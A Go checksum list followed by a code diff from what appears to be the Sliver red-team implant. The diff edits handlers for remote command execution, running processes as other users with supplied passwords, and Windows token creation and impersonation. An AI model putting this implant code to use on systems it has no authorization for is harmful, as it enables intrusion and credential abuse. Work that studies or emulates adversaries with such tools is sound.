gorm.io/driver/postgres v1.4.5 h1:mTeXTTtHAgnS9PgmhN2YeUbazYpLhUI1doLnw42XUZc=
gorm.io/driver/postgres v1.4.5/go.mod h1:GKNQYSJ14qvWkvPwXljMGehpKrhlDNsqYRr5HnYGncg=
gorm.io/driver/sqlite v1.4.3 h1:HBBcZSDnWi5BW3B3rwvVTc510KGkBkexlOg0QrmLUuU=
gorm.io/driver/sqlite v1.4.3/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
gorm.io/driver/mysql v1.4.1 h1:4InA6SOaYtt4yYpV1NF9B2kvUKe9TbvUd1iWrvxnjic=
gorm.io/driver/mysql v1.4.1/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
gorm.io/driver/postgres v1.4.4 h1:zt1fxJ+C+ajparn0SteEnkoPg0BQ6wOWXEQ99bteAmw=
gorm.io/driver/postgres v1.4.4/go.mod h1:whNfh5WhhHs96honoLjBAMwJGYEuA3m1hvgUbNXhPCw=
gorm.io/driver/sqlite v1.4.2 h1:F6vYJcmR4Cnh0ErLyoY8JSfabBGyR0epIGuhgHJuNws=
gorm.io/driver/sqlite v1.4.2/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.24.0 h1:j/CoiSm6xpRpmzbFJsQHYj+I8bGYWLXVHeYEyyKlF74=
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755 h1:7AdrbfcvKnzejfqP5g37fdSZOXH/JvaPIzBIHTOqXKk=
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.24 h1:vlCqjhVwX15t1uwlMPpOpNRC7JTjMZ9lT9DYHKQTFuA=
modernc.org/cc/v3 v3.35.24/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=
modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
modernc.org/ccgo/v3 v3.15.12/go.mod h1:VFePOWoCd8uDGRJpq/zfJ29D0EVzMSyID8LCMWYbX6I=
modernc.org/ccgo/v3 v3.15.14/go.mod h1:144Sz2iBCKogb9OKwsu7hQEub3EVgOlyI8wMUPGKUXQ=
modernc.org/ccgo/v3 v3.15.15/go.mod h1:z5qltXjU4PJl0pE5nhYQCvA9DhPHiWsl5GWl89+NSYE=
modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe24=
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
modernc.org/libc v1.14.3/go.mod h1:GPIvQVOVPizzlqyRX3l756/3ppsAgg1QgPxjr5Q4agQ=
modernc.org/libc v1.14.6/go.mod h1:2PJHINagVxO4QW/5OQdRrvMYo+bm5ClpUFfyXCYl9ak=
modernc.org/libc v1.14.7/go.mod h1:f8xfWXW8LW41qb4X5+huVQo5dcfPlq7Cbny2TDheMv0=
modernc.org/libc v1.14.8/go.mod h1:9+JCLb1MWSY23smyOpIPbd5ED+rSS/ieiDWUpdyO3mo=
modernc.org/libc v1.14.10/go.mod h1:y1MtIWhwpJFpLYm6grAThtuXJKEsY6xkdZmXbRngIdo=
modernc.org/libc v1.14.11/go.mod h1:l5/Mz/GrZwOqzwRHA3abgSCnSeJzzTl+Ify0bAwKbAw=
modernc.org/libc v1.14.12 h1:pUBZTYoISfbb4pCf4PECENpbvwDBxeKc+/dS9LyOWFM=
modernc.org/libc v1.14.12/go.mod h1:fJdoe23MHu2ruPQkFPPqCpToDi5cckzsbmkI6Ez0LqQ=
modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
+1 -20
View File
@@ -530,16 +530,7 @@ func executeHandler(data []byte, resp RPCResponse) {
}
execResp := &sliverpb.Execute{}
exePath, err := expandPath(execReq.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
cmd := exec.Command(exePath, execReq.Args...)
cmd := exec.Command(execReq.Path, execReq.Args...)
if execReq.Output {
stdOutBuff := new(bytes.Buffer)
@@ -938,13 +929,3 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
}
return readFiles, unreadableFiles, nil
}
func expandPath(exePath string) (string, error) {
if !strings.ContainsRune(exePath, os.PathSeparator) {
_, err := exec.LookPath(exePath)
if err != nil {
return filepath.Abs(exePath)
}
}
return exePath, nil
}
+5 -40
View File
@@ -24,7 +24,6 @@ import (
"fmt"
"io"
"os"
"runtime"
// {{if .Config.Debug}}
"log"
@@ -38,7 +37,6 @@ import (
"github.com/bishopfox/sliver/implant/sliver/registry"
"github.com/bishopfox/sliver/implant/sliver/service"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -122,28 +120,6 @@ func GetSystemHandlers() map[uint32]RPCHandler {
return windowsHandlers
}
func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
if priv.CurrentToken != 0 {
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Error: %v\n", err)
// {{end}}
}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
}
handler(data, resp)
if priv.CurrentToken != 0 {
err := priv.TRevertToSelf()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Error: %v\n", err)
// {{end}}
}
}
}
// ---------------- Windows Handlers ----------------
func impersonateHandler(data []byte, resp RPCResponse) {
@@ -176,12 +152,10 @@ func runAsHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
show := 10
if runAsReq.HideWindow {
show = 0
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
runAs := &sliverpb.RunAs{
Output: out,
}
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
runAs := &sliverpb.RunAs{}
if err != nil {
runAs.Response = &commonpb.Response{Err: err.Error()}
}
@@ -303,16 +277,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
execResp := &sliverpb.Execute{}
exePath, err := expandPath(execReq.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
cmd := exec.Command(exePath, execReq.Args...)
cmd := exec.Command(execReq.Path, execReq.Args...)
// Execute with current token
cmd.SysProcAttr = &syscall.SysProcAttr{}
@@ -459,7 +424,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
return
}
makeTokenResp := &sliverpb.MakeToken{}
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
if err != nil {
makeTokenResp.Response = &commonpb.Response{
Err: err.Error(),
+2 -2
View File
@@ -281,11 +281,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
}
entries = append(entries, &sliverpb.SockTabEntry{
LocalAddr: &sliverpb.SockTabEntry_SockAddr{
Ip: e.LocalAddr.IP.String(),
Ip: e.LocalAddr.String(),
Port: uint32(e.LocalAddr.Port),
},
RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
Ip: e.RemoteAddr.IP.String(),
Ip: e.RemoteAddr.String(),
Port: uint32(e.RemoteAddr.Port),
},
SkState: e.State.String(),
+2 -98
View File
@@ -96,23 +96,7 @@ func SePrivEnable(s string) error {
}
func RevertToSelf() error {
err := windows.RevertToSelf()
if err != nil {
// {{if .Config.Debug}}
log.Printf("RevertToSelf Error: %v\n", err)
// {{end}}
}
err = windows.CloseHandle(windows.Handle(CurrentToken))
if err != nil {
// {{if .Config.Debug}}
log.Printf("CloseHandle Error: %v\n", err)
// {{end}}
}
CurrentToken = windows.Token(0)
return err
}
func TRevertToSelf() error {
return windows.RevertToSelf()
}
@@ -240,12 +224,8 @@ func impersonateUser(username string) (token windows.Token, err error) {
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
func MakeToken(domain string, username string, password string, logonType uint32) error {
func MakeToken(domain string, username string, password string) error {
var token windows.Token
// Default to LOGON32_LOGON_NEW_CREDENTIALS
if logonType == 0 {
logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
}
pd, err := windows.UTF16PtrFromString(domain)
if err != nil {
